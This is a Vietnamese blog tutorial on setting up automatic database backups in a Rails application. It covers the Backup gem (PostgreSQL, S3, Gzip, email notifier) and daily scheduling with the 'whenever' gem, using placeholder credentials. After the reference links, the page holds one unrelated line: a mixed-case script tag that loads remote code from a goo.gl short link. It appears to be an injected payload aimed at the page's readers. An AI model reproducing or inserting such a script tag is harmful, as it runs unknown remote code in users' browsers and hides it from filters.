Auto backup database in rails application
Bài đăng này đã không được cập nhật trong 8 năm
Mở đầu
Sẽ cực kỳ nguy hiểm và thiếu chuyên nghiệp nếu chạy một máy chủ mà không có thiết lập backup dữ liệu tự động. Chúng ta nên sao lưu cơ sở dữ liệu và các tệp tin hàng giờ, hoặc hoặc hàng ngày trên máy chủ. Nếu có bất cứ điều gì làm dữ liệu sai, hoặc làm hỏng hệ thống thì chúng ta đã có một bản sao lưu để khôi phục liệu hệ thống.
Với Ruby on Rails, điều này khá là đơn giản với Backup gem, nó có tất cả các tính năng chúng ta có thể cần bao gồm cả thông báo qua email khi có bất cứ chuyện gì xảy ra.
Thiết lập sao lưu
1. Cài đặt
gem install backup
- Note: Chúng ta không thêm gem backup vào Gemfile của bất kỳ ứng dụng nào.
2. Cấu hình
Backup gem hỗ trợ các công nghệ sau đây.
Database
MySQL
PostgreSQL
MongoDB
Redis
Riak SQLite
Storages
Amazon S3
Rackspace Cloud Files
Ninefold
Dropbox
FTP
SFTP
SCP
RSync
Local
Compressors and Encryptors
Gzip
Bzip2
OpenSSL
GPG
Syncers
Amazon S3 Cloud Syncer
Rackspace Cloud Files Cloud Syncer
RSync Syncer for local, local-to-remote (Push) or remote-to-local (Pull) operations.
Notifiers
Email (SMTP, Sendmail, Exim and File delivery)
Twitter
Campfire
Prowl
Hipchat
Pushover
Nagios
HTTP POST (compatible with a variety of services)
Zabbix
Ở trong bài viết này, chúng ta có thể generate một backup model với các tùy chọn sau:
-
PostgreSQL database
-
Store in S3
-
Compressor: Gzip format
-
Send email to notify after backup process finished.
$ backup generate:model --trigger your_backup --databases="postgresql" --storages="s3" --compressor="gzip" --notifiers="mail"
Với command trên nó sẽ tạo ra file model backup tại ~/Backup/models/your_backup.rb
Hoặc có thể xem thêm tại Generator để tùy biến các option khác nhau.
Model.new(:your_backup , 'Description for your_backup') do
##
# PostgreSQL [Database]
#
database PostgreSQL do |db|
# To dump all databases, set `db.name = :all` (or leave blank)
db.name = "database_name"
db.username = "username"
db.password = "password"
db.host = "localhost"
db.port = 5432
db.socket = "/tmp/pg.sock"
# When dumping all databases, `skip_tables` and `only_tables` are ignored.
db.skip_tables = ["skip", "these", "tables"]
db.only_tables = ["only", "these", "tables"]
db.additional_options = ["-xc", "-E=utf8"]
end
##
# Amazon Simple Storage Service [Storage]
#
store_with S3 do |s3|
# AWS Credentials
s3.access_key_id = "access_key_id"
s3.secret_access_key = "secret_access_key"
# Or, to use a IAM Profile:
# s3.use_iam_profile = true
s3.region = "us-east-1"
s3.bucket = "bucket-name"
s3.path = "path/to/backups"
end
##
# Gzip [Compressor]
#
compress_with Gzip
##
# Mail [Notifier]
#
# The default delivery method for Mail Notifiers is 'SMTP'.
# See the documentation for other delivery options.
#
notify_by Mail do |mail|
mail.on_success = true
mail.on_warning = true
mail.on_failure = true
mail.from = "sender@email.com"
mail.to = "receiver@email.com"
mail.address = "smtp.gmail.com"
mail.port = 587
mail.domain = "your.host.name"
mail.user_name = "sender@email.com"
mail.password = "password"
mail.authentication = "plain"
mail.encryption = :starttls
end
end
3. Kiểm tra cấu hình
$ backup check
Nếu mọi thứ đều thành công thì có message:
[2016/08/19 13:32:20][info] Configuration Check Succeeded.
4. Tạo sao lưu
backup perform --trigger your_backup
Sau khi chạy câu lệnh hoàn tất, chúng ta sẽ nhận được email thông báo và có thể xem bản sao lưu của mình thông qua đường dẫn lưu trữ của S3 mà chúng ta đã cấu hình.
5. Tự động sao lưu sử dụng 'whenever'
Step1: Add gem
gem 'whenever'
Step 2: Generate schedule.rb file
$ cd /your-project
$ wheneverize .
Step 3: Add config to schedule.rb
every :day, at: '1:00 am' do
command "backup perform --trigger your_backup"
end
Tổng kết
Bài viết là tổng kết từ nhiều nguồn, hy vọng mang lại kết quả cho mọi người (bow).
Tham khảo
http://backup.github.io/backup/v4/
http://vladigleba.com/blog/2014/06/30/backup-a-rails-database-with-the-backup-and-whenever-gems/
http://luanotes.com/posts/auto-backup-database-in-rails-application
<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>
All rights reserved